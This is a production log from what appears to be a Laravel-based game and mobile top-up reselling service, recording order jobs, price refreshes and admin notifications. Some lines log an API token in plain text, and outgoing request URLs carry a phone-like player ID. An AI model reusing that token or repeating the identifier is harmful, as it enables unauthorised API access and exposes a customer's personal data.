[2026-03-24 11:24:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:24:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"processed":2,"errors":0} 
[2026-03-24 11:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504,"processed":2,"errors":0} 
[2026-03-24 11:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9rMHwTSxdHsMDO3AJCKXs74ddfZJ3AgM","execution_time":"2026-03-24 11:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uW3W3uco-1774340581","operation_id":163504} 
[2026-03-24 11:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 11:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 11:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 11:25:04] production.INFO: async() رجع: true  
[2026-03-24 11:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:25:49] production.INFO: Constructing job for order: 178576  
[2026-03-24 11:25:51] production.INFO: Handling job for order: 178576  
[2026-03-24 11:25:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:25:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:25:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=317dc8ff-8e9b-4e53-b65b-a3ec8917111e&Player_ID=0941420762  
[2026-03-24 11:25:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=317dc8ff-8e9b-4e53-b65b-a3ec8917111e&Player_ID=0941420762","has_body":false} 
[2026-03-24 11:25:52] production.INFO: Operation sent successfully {"operation_id":163506,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-b1XWGm-1774340751","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 11:25:52"}},"processed_data":{"order_number":"ORD-b1XWGm-1774340751","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 11:25:54] production.INFO: Constructing job for order: 178577  
[2026-03-24 11:25:55] production.INFO: Handling job for order: 178577  
[2026-03-24 11:25:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 11:25:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 11:25:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7bd1c200-6c2e-4556-afb5-a9e957e2cc2e&Player_ID=0941420762  
[2026-03-24 11:25:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7bd1c200-6c2e-4556-afb5-a9e957e2cc2e&Player_ID=0941420762","has_body":false} 
[2026-03-24 11:25:55] production.INFO: Operation sent successfully {"operation_id":163507,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pBD-1774340755","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 11:25:55"}},"processed_data":{"order_number":"ORD-pBD-1774340755","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 11:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01"} 
[2026-03-24 11:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","total_operations":4,"sites_count":2} 
[2026-03-24 11:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-b1XWGm-1774340751","ORD-pBD-1774340755"]} 
[2026-03-24 11:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-b1XWGm-1774340751","operation_id":163506} 
[2026-03-24 11:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507} 
[2026-03-24 11:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"processed":0,"errors":0} 
[2026-03-24 11:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8OTQyf2pzCORi9NecghUHUalX7qPLs3l","execution_time":"2026-03-24 11:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507} 
[2026-03-24 11:26:26] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3000.0","mainamount":"3000","operation_number":"158057291","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpq6bvm5i5rt3j1TTJCgO"}},"user_id":1056} 
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 11:26:29] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 11:26:29] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18600,"user_id":1056,"amount":3000.0,"admins_notified":7} 
[2026-03-24 11:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02"} 
[2026-03-24 11:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","total_operations":4,"sites_count":2} 
[2026-03-24 11:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-b1XWGm-1774340751","ORD-pBD-1774340755"]} 
[2026-03-24 11:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 11:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 11:28:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 11:28:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"count":2} 
[2026-03-24 11:28:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"count":2} 
[2026-03-24 11:28:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"user_id":949,"notification_type":"order_approved","reference_id":178576} 
[2026-03-24 11:28:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"user_id":949,"notification_type":"order_approved","reference_id":178577} 
[2026-03-24 11:28:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 11:28:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 11:28:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"processed":2,"errors":0} 
[2026-03-24 11:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507,"processed":2,"errors":0} 
[2026-03-24 11:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2QOa41AqkUnEets7RgJqDoLPpjmWHEez","execution_time":"2026-03-24 11:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-pBD-1774340755","operation_id":163507} 
[2026-03-24 11:28:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 11:28:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 11:28:02] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_rejected","reference_id":178357} 
[2026-03-24 11:28:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 11:28:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 11:29:02] production.INFO: SendAcceptReject: Notification queued {"user_id":331,"notification_type":"order_approved","reference_id":178506} 
[2026-03-24 11:29:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 331  
[2026-03-24 11:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02"} 
[2026-03-24 11:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","total_operations":2,"sites_count":1} 
[2026-03-24 11:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tucju9d2jd8N5rpfeazQWSHuN7EPyrIY","execution_time":"2026-03-24 11:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 11:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 11:30:05] production.INFO: async() رجع: true  
[2026-03-24 11:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 11:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 11:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 11:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 11:31:25] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"order_approved","reference_id":178521} 
[2026-03-24 11:31:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 11:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03"} 
[2026-03-24 11:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","total_operations":2,"sites_count":1} 
[2026-03-24 11:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 11:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 11:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 11:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tv23qtm8BULP71NEOHmrROKgNB5o5y3p","execution_time":"2026-03-24 11:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 11:32:21] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178572} 
[2026-03-24 11:32:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 11:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03"} 
[2026-03-24 11:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","total_operations":2,"sites_count":1} 
[2026-03-24 11:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 11:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 11:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 11:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"M3n4aMP4jYQMGIVivvIgbzT8VIq9ziyY","execution_time":"2026-03-24 11:34:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
